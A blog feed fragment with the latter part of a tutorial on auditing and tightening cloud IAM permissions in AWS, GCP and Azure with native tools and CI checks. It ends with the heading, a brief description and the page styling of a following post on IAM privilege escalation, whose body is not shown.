  ┌─────────────────────────────────────────────────────────────────┐
  │  5. GUARD  Validate in CI/CD before any policy merges          │
  │  aws accessanalyzer validate-policy → fail pipeline if findings │
  └────────────────────────────┬────────────────────────────────────┘
                               ▼
  ┌─────────────────────────────────────────────────────────────────┐
  │  6. MONITOR  Weekly: new findings  Quarterly: full review      │
  │  On offboarding: immediate direct-permission audit             │
  └───────────────────────────┬─────────────────────────────────────┘
                              │
                              └──────────────────── back to 1
</code></pre>
<p>The AWS least privilege audit tools covered in this episode map directly onto steps 3–5. The cycle is the practice.</p>
<hr />
<h2 id="introduction">Introduction</h2>
<p>An AWS least privilege audit starts by measuring the gap between what each identity is granted and what it actually uses. Then it closes that gap with the tooling AWS, GCP, and Azure all provide natively. The numbers from real environments are consistently worse than teams expect.</p>
<p>Last year I audited an AWS account for an e-commerce company. They&#8217;d been running in production for three years. Eight engineers, two teams, a moderately complex microservices architecture. Reasonable people, competent engineers, no obvious security negligence.</p>
<p>When I ran the IAM Access Analyzer policy generation job against their 12 Lambda execution roles and waited for it to pull 90 days of CloudTrail data, here&#8217;s what I found:</p>
<p>The average Lambda role had 47 granted permissions. The average Lambda was actually using 6 of them over 90 days. That&#8217;s a utilization rate of roughly 13%. The other 87% — the 41 permissions nobody was using — sat there as silent attack surface.</p>
<p>The worst example was a Lambda that processed image thumbnails. Its role had <code class="" data-line="">AmazonS3FullAccess</code> plus <code class="" data-line="">AmazonDynamoDBFullAccess</code> plus <code class="" data-line="">AWSLambdaFullAccess</code>. Someone had attached three AWS managed policies early in development to &#8220;make sure everything worked&#8221; and never came back to tighten it. The Lambda needed three permissions: <code class="" data-line="">s3:GetObject</code> on one bucket, <code class="" data-line="">s3:PutObject</code> on another, and <code class="" data-line="">logs:CreateLogGroup</code>. That&#8217;s it. Instead it had <code class="" data-line="">s3:*</code> on all S3, full DynamoDB including delete, and the ability to create and delete other Lambda functions.</p>
<p>If an attacker had exploited a vulnerability in that image processor — a malformed image, a dependency with a CVE — they&#8217;d have had full S3 access, full DynamoDB access, and the ability to backdoor other Lambda functions. Not because anyone intended that. Because &#8220;make it work first, fix it later&#8221; is how IAM configurations drift.</p>
<p>This episode is &#8220;fix it later.&#8221; The tools exist. The methodology is straightforward. The gap between knowing you should do this and actually doing it is usually not understanding the tooling.</p>
<hr />
<h2 id="the-fundamental-problem-granted-vs-used">The Fundamental Problem: Granted vs Used</h2>
<p>The central insight of IAM auditing is simple: what an identity is granted and what it actually uses are rarely the same thing.</p>
<p>AWS has published data from their own customer environments: the average IAM entity uses less than 5% of the permissions it has been granted. That 95% excess is not wasted. It&#8217;s attack surface. Every permission that exists but isn&#8217;t needed is a permission an attacker can use if they compromise that identity.</p>
<p>The tools to close this gap exist on all three platforms. The difference between organizations that operate at low IAM risk and those that don&#8217;t is usually not knowledge. It&#8217;s the discipline of actually running these tools regularly and acting on what they find.</p>
<hr />
<h2 id="aws-iam-auditing">AWS IAM Auditing</h2>
<h3 id="last-accessed-data-the-starting-point">Last Accessed Data — The Starting Point</h3>
<p>AWS tracks when each service was last called by each IAM entity. This tells you which service permissions have never been used:</p>
<pre><code class="" data-line=""># Generate last-accessed data for a specific role
aws iam generate-service-last-accessed-details \
  --arn arn:aws:iam::123456789012:role/LambdaImageProcessor

JOB_ID=&quot;...&quot; # returned by the above command

# Poll until complete (usually 30-60 seconds)
aws iam get-service-last-accessed-details --job-id &quot;${JOB_ID}&quot;

# Parse: find services that were never called
aws iam get-service-last-accessed-details --job-id &quot;${JOB_ID}&quot; \
  --output json | jq &#039;.ServicesLastAccessed[] | select(.TotalAuthenticatedEntities == 0) | .ServiceName&#039;
# These services have never been accessed by this role — permissions can be removed
</code></pre>
<p>For finer granularity — which specific actions are used within a service:</p>
<pre><code class="" data-line="">aws iam generate-service-last-accessed-details \
  --arn arn:aws:iam::123456789012:policy/AppServerPolicy \
  --granularity ACTION_LEVEL

aws iam get-service-last-accessed-details --job-id &quot;${JOB_ID}&quot; \
  --output json | jq &#039;.ServicesLastAccessed[] | 
    select(.TotalAuthenticatedEntities &gt; 0) |
    {service: .ServiceName, last_used: .LastAuthenticated}&#039;
</code></pre>
<h3 id="access-analyzer-generated-least-privilege-policies">Access Analyzer — Generated Least-Privilege Policies</h3>
<p>This is the tool I use most. It pulls 90 days of CloudTrail data for a role and generates a policy containing only the actions actually called:</p>
<pre><code class="" data-line=""># Start a policy generation job
aws accessanalyzer start-policy-generation \
  --policy-generation-details &#039;{
    &quot;principalArn&quot;: &quot;arn:aws:iam::123456789012:role/LambdaImageProcessor&quot;
  }&#039; \
  --cloudtrail-details &#039;{
    &quot;trailArn&quot;: &quot;arn:aws:cloudtrail:ap-south-1:123456789012:trail/management-events&quot;,
    &quot;startTime&quot;: &quot;2026-01-01T00:00:00Z&quot;,
    &quot;endTime&quot;: &quot;2026-04-01T00:00:00Z&quot;
  }&#039;

JOB_ID=&quot;...&quot;
aws accessanalyzer get-generated-policy --job-id &quot;${JOB_ID}&quot;
</code></pre>
<p>The output is a valid IAM policy document containing only what was called. Compare it against the current policy — the delta is everything that can be removed. I treat the generated policy as a starting point, not a final answer: occasionally a permission is needed but wasn&#8217;t exercised in the 90-day window (error handling paths, quarterly jobs, incident response capabilities). Review the generated policy against the function&#8217;s known requirements before applying it verbatim.</p>
<p>Access Analyzer also identifies external sharing you may not have intended:</p>
<pre><code class="" data-line=""># Find resources shared outside the account or organization
aws accessanalyzer create-analyzer \
  --analyzer-name account-analyzer \
  --type ACCOUNT

aws accessanalyzer list-findings \
  --analyzer-arn arn:aws:accessanalyzer:ap-south-1:123456789012:analyzer/account-analyzer \
  --filter &#039;{&quot;status&quot;:{&quot;eq&quot;:[&quot;ACTIVE&quot;]}}&#039; \
  --output table
# Shows: S3 buckets, KMS keys, Lambda functions accessible from outside the account
</code></pre>
<p>And validates new policies before you apply them:</p>
<pre><code class="" data-line=""># Run this in CI/CD before any IAM policy gets merged
aws accessanalyzer validate-policy \
  --policy-document file://new-iam-policy.json \
  --policy-type IDENTITY_POLICY \
  | jq &#039;.findings[] | select(.findingType == &quot;ERROR&quot; or .findingType == &quot;SECURITY_WARNING&quot;)&#039;

# Exit non-zero if findings exist — fail the pipeline
FINDINGS=$(aws accessanalyzer validate-policy \
  --policy-document file://new-iam-policy.json \
  --policy-type IDENTITY_POLICY \
  | jq &#039;[.findings[] | select(.findingType == &quot;ERROR&quot; or .findingType == &quot;SECURITY_WARNING&quot;)] | length&#039;)
[ &quot;$FINDINGS&quot; -eq 0 ] || { echo &quot;IAM policy has $FINDINGS security findings&quot;; exit 1; }
</code></pre>
<h3 id="cloudtrail-for-targeted-investigation">CloudTrail for Targeted Investigation</h3>
<p>When you need to understand what a specific role has been doing in detail:</p>
<pre><code class="" data-line=""># What API calls has LambdaImageProcessor made in the last 30 days?
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=Username,AttributeValue=LambdaImageProcessor \
  --start-time &quot;$(date -d &#039;30 days ago&#039; +%Y-%m-%dT%H:%M:%S)&quot; \
  --output json | jq &#039;.Events[] | {time:.EventTime, event:.EventName, source:.EventSource}&#039;

# All IAM changes in the last 7 days — track who changed what
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventSource,AttributeValue=iam.amazonaws.com \
  --start-time &quot;$(date -d &#039;7 days ago&#039; +%Y-%m-%dT%H:%M:%S)&quot; \
  --output table
</code></pre>
<h3 id="open-source-tooling">Open Source Tooling</h3>
<p>For a more comprehensive scan across an account:</p>
<pre><code class="" data-line=""># Prowler — runs hundreds of checks including IAM-specific ones
pip install prowler
prowler aws --profile default --services iam --output-formats json html

# Key IAM checks:
# iam_root_mfa_enabled
# iam_user_no_setup_initial_access_key
# iam_policy_no_administrative_privileges
# iam_user_access_key_unused → finds keys unused for 90+ days
# iam_role_cross_account_readonlyaccess_policy

# ScoutSuite — multi-cloud auditor with a report UI
pip install scoutsuite
scout aws --profile default --report-dir ./scout-report
</code></pre>
<hr />
<h2 id="gcp-iam-auditing">GCP IAM Auditing</h2>
<h3 id="iam-recommender-automated-right-sizing">IAM Recommender — Automated Right-Sizing</h3>
<p>GCP&#8217;s IAM Recommender analyses 90 days of activity and surfaces specific suggestions: &#8220;replace <code class="" data-line="">roles/editor</code> with <code class="" data-line="">roles/storage.objectViewer</code>.&#8221; It tells you exactly what to change, not just that something needs changing:</p>
<pre><code class="" data-line=""># List IAM recommendations for a project
gcloud recommender recommendations list \
  --recommender=google.iam.policy.Recommender \
  --project=my-project \
  --location=global \
  --format=json | jq &#039;.[] | {
    principal: .description,
    current_role: .content.operationGroups[].operations[] | select(.action==&quot;remove&quot;) | .path,
    suggested_role: .content.operationGroups[].operations[] | select(.action==&quot;add&quot;) | .value
  }&#039;

# Mark a recommendation as applied (required to track progress)
gcloud recommender recommendations mark-succeeded RECOMMENDATION_ID \
  --recommender=google.iam.policy.Recommender \
  --project=my-project \
  --location=global \
  --etag ETAG
</code></pre>
<p>In practice, I run IAM Recommender across all GCP projects in a quarterly review. The recommendations don&#8217;t age out — GCP continues to track them until you address them or explicitly dismiss them. Dismissed without action counts as a decision; it should be documented.</p>
<h3 id="policy-analyzer-answering-access-questions">Policy Analyzer — Answering Access Questions</h3>
<p>When you need to understand who has access to a specific resource, and why:</p>
<pre><code class="" data-line=""># Who can access a specific BigQuery dataset?
gcloud policy-intelligence analyze-iam-policy \
  --project=my-project \
  --full-resource-name=&quot;//bigquery.googleapis.com/projects/my-project/datasets/customer_analytics&quot; \
  --output-partial-result-before-timeout

# What can a specific principal do in this project?
gcloud policy-intelligence analyze-iam-policy \
  --project=my-project \
  --full-resource-name=&quot;//cloudresourcemanager.googleapis.com/projects/my-project&quot; \
  --identity=&quot;serviceAccount:app-backend@my-project.iam.gserviceaccount.com&quot;
</code></pre>
<h3 id="finding-public-exposure">Finding Public Exposure</h3>
<pre><code class="" data-line=""># Org-wide scan for allUsers or allAuthenticatedUsers bindings
gcloud asset search-all-iam-policies \
  --scope=organizations/ORG_ID \
  --query=&quot;policy.members:allUsers OR policy.members:allAuthenticatedUsers&quot; \
  --format=json | jq &#039;.[] | {resource: .resource, policy: .policy}&#039;
</code></pre>
<p>Run this in every new environment you inherit. The results reliably surface data exposure incidents waiting to happen — public GCS buckets, publicly readable BigQuery datasets, APIs exposed to any authenticated Google account.</p>
<hr />
<h2 id="azure-iam-auditing">Azure IAM Auditing</h2>
<h3 id="defender-for-cloud-baseline-recommendations">Defender for Cloud — Baseline Recommendations</h3>
<pre><code class="" data-line=""># Get IAM-related security recommendations
az security assessment list --output table | grep -i -E &quot;(identity|mfa|privileged|owner)&quot;

# Check specific conditions:
# &quot;MFA should be enabled on accounts with owner permissions on your subscription&quot;
# &quot;Deprecated accounts should be removed from your subscription&quot;
# &quot;External accounts with owner permissions should be removed from your subscription&quot;
</code></pre>
<h3 id="azure-resource-graph-bulk-role-assignment-queries">Azure Resource Graph — Bulk Role Assignment Queries</h3>
<p>Azure Resource Graph lets you query RBAC assignments across the entire tenant in a single call — essential for large Azure estates:</p>
<pre><code class="" data-line=""># All role assignments — who has what, where
az graph query -q &quot;
AuthorizationResources
| where type =~ &#039;microsoft.authorization/roleassignments&#039;
| extend principalId = properties.principalId,
         roleId = properties.roleDefinitionId,
         scope = properties.scope
| project scope, principalId, roleId
| limit 500&quot; \
--output table

# Find all Owner assignments at subscription scope — high-risk
az graph query -q &quot;
AuthorizationResources
| where type =~ &#039;microsoft.authorization/roleassignments&#039;
| where properties.roleDefinitionId endswith &#039;8e3af657-a8ff-443c-a75c-2fe8c4bcb635&#039;
| where properties.scope startswith &#039;/subscriptions/&#039;
| project scope, properties.principalId&quot; \
--output table
</code></pre>
<h3 id="entra-id-access-reviews-automated-re-certification">Entra ID Access Reviews — Automated Re-Certification</h3>
<p>Access reviews send notifications to resource owners or users asking them to confirm that access is still appropriate. When someone doesn&#8217;t respond — or responds &#8220;no&#8221; — the access is removed:</p>
<pre><code class="" data-line=""># Create a quarterly access review for subscription Owner assignments
az rest --method POST \
  --uri &quot;https://graph.microsoft.com/v1.0/identityGovernance/accessReviews/definitions&quot; \
  --body &#039;{
    &quot;displayName&quot;: &quot;Quarterly Subscription Owner Review&quot;,
    &quot;scope&quot;: {
      &quot;query&quot;: &quot;/subscriptions/SUB_ID/providers/Microsoft.Authorization/roleAssignments&quot;,
      &quot;queryType&quot;: &quot;MicrosoftGraph&quot;
    },
    &quot;reviewers&quot;: [{&quot;query&quot;: &quot;/me&quot;, &quot;queryType&quot;: &quot;MicrosoftGraph&quot;}],
    &quot;settings&quot;: {
      &quot;mailNotificationsEnabled&quot;: true,
      &quot;justificationRequiredOnApproval&quot;: true,
      &quot;autoApplyDecisionsEnabled&quot;: true,
      &quot;defaultDecision&quot;: &quot;Deny&quot;,          ← if no response, access is removed
      &quot;instanceDurationInDays&quot;: 7,
      &quot;recurrence&quot;: {
        &quot;pattern&quot;: {&quot;type&quot;: &quot;absoluteMonthly&quot;, &quot;interval&quot;: 3},
        &quot;range&quot;: {&quot;type&quot;: &quot;noEnd&quot;}
      }
    }
  }&#039;
</code></pre>
<p>The <code class="" data-line="">defaultDecision: Deny</code> setting is the key. Access reviews that default to preserving access on non-response don&#8217;t actually remove anything. They just document that nobody reviewed it. Defaulting to revocation means inaction removes access, which is the correct behavior for privileged roles.</p>
<hr />
<h2 id="the-hardening-workflow">The Hardening Workflow</h2>
<p>The methodology I apply when auditing any cloud IAM configuration:</p>
<h3 id="step-1-inventory-everything">Step 1: Inventory Everything</h3>
<p>You cannot audit what you don&#8217;t know exists.</p>
<pre><code class="" data-line=""># AWS: full IAM snapshot in one call
aws iam get-account-authorization-details --output json &gt; iam-snapshot-$(date +%Y%m%d).json
# Contains: all users, groups, roles, policies, attachments — everything

# GCP: export all IAM-relevant assets
gcloud asset export \
  --project=my-project \
  --output-path=gs://audit-bucket/iam-snapshot-$(date +%Y%m%d).json \
  --asset-types=&quot;iam.googleapis.com/ServiceAccount,cloudresourcemanager.googleapis.com/Project&quot;
</code></pre>
<h3 id="step-2-classify-by-function">Step 2: Classify by Function</h3>
<p>Group identities by purpose: human engineering access, CI/CD pipelines, application workloads, data pipelines, monitoring/audit. Each class has an expected permission profile. Anything outside the expected profile for its class is a finding.</p>
<p>A Lambda function with <code class="" data-line="">iam:*</code> is not in the expected profile for application workloads. An EC2 instance role with <code class="" data-line="">s3:DeleteObject</code> on <code class="" data-line="">*</code> deserves a question. A CI/CD pipeline role with <code class="" data-line="">secretsmanager:GetSecretValue</code> warrants understanding what secrets it actually needs.</p>
<h3 id="step-3-find-unused-permissions">Step 3: Find Unused Permissions</h3>
<p>Apply the tools:<br />
&#8211; AWS: Access Analyzer generated policies + Last Accessed Data<br />
&#8211; GCP: IAM Recommender<br />
&#8211; Azure: Defender for Cloud recommendations + sign-in activity analysis</p>
<p>For any permission unused in 90 days: document whether it&#8217;s still needed (rare operation, incident response capability) or can be removed.</p>
<h3 id="step-4-right-size-policies">Step 4: Right-Size Policies</h3>
<p>Replace broad permissions with specific ones:</p>
<pre><code class="" data-line="">// Before: attached AmazonS3FullAccess to a read-only service
{
  &quot;Action&quot;: &quot;s3:*&quot;,
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Resource&quot;: &quot;*&quot;
}

// After: only what the service actually calls
{
  &quot;Action&quot;: [&quot;s3:GetObject&quot;, &quot;s3:ListBucket&quot;],
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Resource&quot;: [
    &quot;arn:aws:s3:::app-assets-prod&quot;,
    &quot;arn:aws:s3:::app-assets-prod/*&quot;
  ]
}
</code></pre>
<p>Every wildcard you remove is attack surface eliminated. Not conceptually — concretely.</p>
<h3 id="step-5-add-conditions-as-guardrails">Step 5: Add Conditions as Guardrails</h3>
<p>Conditions constrain how permissions are used even when they can&#8217;t be removed:</p>
<pre><code class="" data-line="">// Require MFA for sensitive operations — applies across all roles in the account
{
  &quot;Effect&quot;: &quot;Deny&quot;,
  &quot;Action&quot;: [&quot;iam:*&quot;, &quot;s3:Delete*&quot;, &quot;ec2:Terminate*&quot;, &quot;kms:*&quot;],
  &quot;Resource&quot;: &quot;*&quot;,
  &quot;Condition&quot;: {
    &quot;BoolIfExists&quot;: { &quot;aws:MultiFactorAuthPresent&quot;: &quot;false&quot; }
  }
}

// Restrict all non-service API calls to the corporate network
{
  &quot;Effect&quot;: &quot;Deny&quot;,
  &quot;Action&quot;: &quot;*&quot;,
  &quot;Resource&quot;: &quot;*&quot;,
  &quot;Condition&quot;: {
    &quot;NotIpAddress&quot;: { &quot;aws:SourceIp&quot;: [&quot;10.0.0.0/8&quot;, &quot;172.16.0.0/12&quot;] },
    &quot;Bool&quot;: { &quot;aws:ViaAWSService&quot;: &quot;false&quot; }   // allow calls made through AWS services (e.g., Lambda calling S3)
  }
}
</code></pre>
<h3 id="step-6-build-it-into-cicd">Step 6: Build It Into CI/CD</h3>
<p>IAM configuration changes that aren&#8217;t reviewed before they reach production will drift. Make the validation automatic:</p>
<pre><code class="" data-line=""># Pre-merge check in CI — catches wildcards and dangerous permissions before they land
FINDINGS=$(aws accessanalyzer validate-policy \
  --policy-document file://changed-policy.json \
  --policy-type IDENTITY_POLICY \
  | jq &#039;[.findings[] | select(.findingType == &quot;ERROR&quot; or .findingType == &quot;SECURITY_WARNING&quot;)] | length&#039;)

if [ &quot;$FINDINGS&quot; -gt 0 ]; then
  echo &quot;&#x274c; IAM policy has $FINDINGS security findings — see below&quot;
  aws accessanalyzer validate-policy --policy-document file://changed-policy.json \
    --policy-type IDENTITY_POLICY | jq &#039;.findings[]&#039;
  exit 1
fi
</code></pre>
<h3 id="step-7-schedule-regular-reviews">Step 7: Schedule Regular Reviews</h3>
<p>IAM audit is not a one-time project. Build a cadence:</p>
<ul>
<li><strong>Weekly:</strong> Access Analyzer findings, IAM Recommender dismissals, new cross-account trust relationships</li>
<li><strong>Monthly:</strong> Unused access keys report, inactive service accounts</li>
<li><strong>Quarterly:</strong> Access reviews for privileged roles, full policy inventory review</li>
<li><strong>On offboarding:</strong> Immediate review of departing engineer&#8217;s direct permissions and any roles whose trust policies name them</li>
</ul>
<hr />
<h2 id="quick-wins-checklist">Quick Wins Checklist</h2>
<table>
<thead>
<tr>
<th>Check</th>
<th>AWS</th>
<th>GCP</th>
<th>Azure</th>
</tr>
</thead>
<tbody>
<tr>
<td>No active root / global admin credentials</td>
<td><code class="" data-line="">GetAccountSummary</code> → <code class="" data-line="">AccountAccessKeysPresent: 0</code></td>
<td>N/A</td>
<td>Check Entra ID conditional access</td>
</tr>
<tr>
<td>MFA on all human privileged accounts</td>
<td>IAM Credential report</td>
<td>Google 2FA enforcement</td>
<td>Conditional Access policy</td>
</tr>
<tr>
<td>No inactive credentials older than 90 days</td>
<td>Credential report <code class="" data-line="">LastRotated</code></td>
<td>SA key age</td>
<td>Entra ID sign-in activity</td>
</tr>
<tr>
<td>No policies with <code class="" data-line="">Action:*</code> or <code class="" data-line="">Resource:*</code> on write</td>
<td>Access Analyzer validate</td>
<td>N/A</td>
<td>Azure Policy</td>
</tr>
<tr>
<td>No public-facing storage</td>
<td>S3 Block Public Access</td>
<td><code class="" data-line="">constraints/storage.publicAccessPrevention</code></td>
<td>Storage account public access disabled</td>
</tr>
<tr>
<td>Machine identities use roles, not static keys</td>
<td>Audit for access key creation on roles</td>
<td><code class="" data-line="">iam.disableServiceAccountKeyCreation</code></td>
<td>Use Managed Identity</td>
</tr>
<tr>
<td>Permissions verified against actual usage</td>
<td>Access Analyzer generated policy</td>
<td>IAM Recommender</td>
<td>Defender for Cloud recommendations</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Reference</th>
<th>What It Covers Here</th>
</tr>
</thead>
<tbody>
<tr>
<td>CISSP</td>
<td>Domain 6 — Security Assessment and Testing</td>
<td>IAM auditing is a core cloud security assessment activity — finding over-permission before attackers do</td>
</tr>
<tr>
<td>CISSP</td>
<td>Domain 7 — Security Operations</td>
<td>Continuous IAM right-sizing is an operational discipline requiring tooling, cadence, and ownership</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.18 Access rights</td>
<td>Periodic review of access rights — this episode is the practical implementation of that control</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>8.2 Privileged access rights</td>
<td>Reviewing and right-sizing elevated permissions; detecting unused privileged access</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>8.16 Monitoring activities</td>
<td>Continuous IAM monitoring, CloudTrail analysis, and automated anomaly detection</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.3</td>
<td>Access removal processes — Access Analyzer, IAM Recommender, and Access Reviews are the tooling for CC6.3</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC7.1</td>
<td>Threat and vulnerability identification — unused permissions are latent attack surface, identifiable and removable</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>The average cloud identity uses less than 5% of its granted permissions — the 95% excess is attack surface, not just waste</li>
<li>AWS Access Analyzer generates a least-privilege policy from CloudTrail data — run it on every Lambda role, ECS task role, and EC2 instance profile quarterly</li>
<li>GCP IAM Recommender surfaces role right-sizing suggestions based on 90-day activity — they don&#8217;t expire until you address them</li>
<li>Azure Access Reviews with <code class="" data-line="">defaultDecision: Deny</code> actually remove stale access; reviews that default to preserve do nothing meaningful</li>
<li>Build IAM policy validation into CI/CD — catch wildcards and dangerous permissions before they merge</li>
<li>Least privilege is a cycle: inventory → classify → right-size → add guardrails → monitor → repeat. Not a one-time project.</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP10 covers cross-system identity federation — OIDC, SAML, and the trust relationships that let a single IdP authenticate users and workloads across cloud platforms, SaaS applications, and organizational boundaries. Understanding how federation works is also understanding how it can be exploited when trust is too broad.</p>
<p><em>Next: <a href="/cloud-identity-federation-oidc-saml/">SAML vs OIDC federation</a></em></p>
<p>Get EP10 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fiam-least-privilege-audit%2F&amp;linkname=AWS%20Least%20Privilege%20Audit%3A%20From%20Wildcard%20Permissions%20to%20Scoped%20Policies" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fiam-least-privilege-audit%2F&amp;linkname=AWS%20Least%20Privilege%20Audit%3A%20From%20Wildcard%20Permissions%20to%20Scoped%20Policies" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fiam-least-privilege-audit%2F&amp;linkname=AWS%20Least%20Privilege%20Audit%3A%20From%20Wildcard%20Permissions%20to%20Scoped%20Policies" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fiam-least-privilege-audit%2F&amp;linkname=AWS%20Least%20Privilege%20Audit%3A%20From%20Wildcard%20Permissions%20to%20Scoped%20Policies" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fiam-least-privilege-audit%2F&amp;linkname=AWS%20Least%20Privilege%20Audit%3A%20From%20Wildcard%20Permissions%20to%20Scoped%20Policies" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fiam-least-privilege-audit%2F&amp;linkname=AWS%20Least%20Privilege%20Audit%3A%20From%20Wildcard%20Permissions%20to%20Scoped%20Policies" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fiam-least-privilege-audit%2F&amp;linkname=AWS%20Least%20Privilege%20Audit%3A%20From%20Wildcard%20Permissions%20to%20Scoped%20Policies" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fiam-least-privilege-audit%2F&#038;title=AWS%20Least%20Privilege%20Audit%3A%20From%20Wildcard%20Permissions%20to%20Scoped%20Policies" data-a2a-url="https://linuxcent.com/iam-least-privilege-audit/" data-a2a-title="AWS Least Privilege Audit: From Wildcard Permissions to Scoped Policies"></a></p><p>The post <a href="https://linuxcent.com/iam-least-privilege-audit/">AWS Least Privilege Audit: From Wildcard Permissions to Scoped Policies</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/iam-least-privilege-audit/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1501</post-id>	</item>
		<item>
		<title>AWS IAM Privilege Escalation: How iam:PassRole Leads to Full Compromise</title>
		<link>https://linuxcent.com/cloud-iam-privilege-escalation/</link>
					<comments>https://linuxcent.com/cloud-iam-privilege-escalation/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Fri, 17 Apr 2026 18:42:16 +0000</pubDate>
				<category><![CDATA[Cloud IAM]]></category>
		<category><![CDATA[AWS IAM]]></category>
		<category><![CDATA[Cloud Pentesting]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[IAM Misconfiguration]]></category>
		<category><![CDATA[Penetration Testing]]></category>
		<category><![CDATA[Privilege Escalation]]></category>
		<category><![CDATA[Red Team]]></category>
		<guid isPermaLink="false">https://linuxcent.com/cloud-iam-privilege-escalation/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 10</span> <span class="rt-label rt-postfix">minutes</span></span>How attackers escalate privileges in AWS, GCP, and Azure through IAM misconfigurations — iam:PassRole, actAs, roleAssignments/write — and how to block each path.</p>
<p>The post <a href="https://linuxcent.com/cloud-iam-privilege-escalation/">AWS IAM Privilege Escalation: How iam:PassRole Leads to Full Compromise</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 10</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
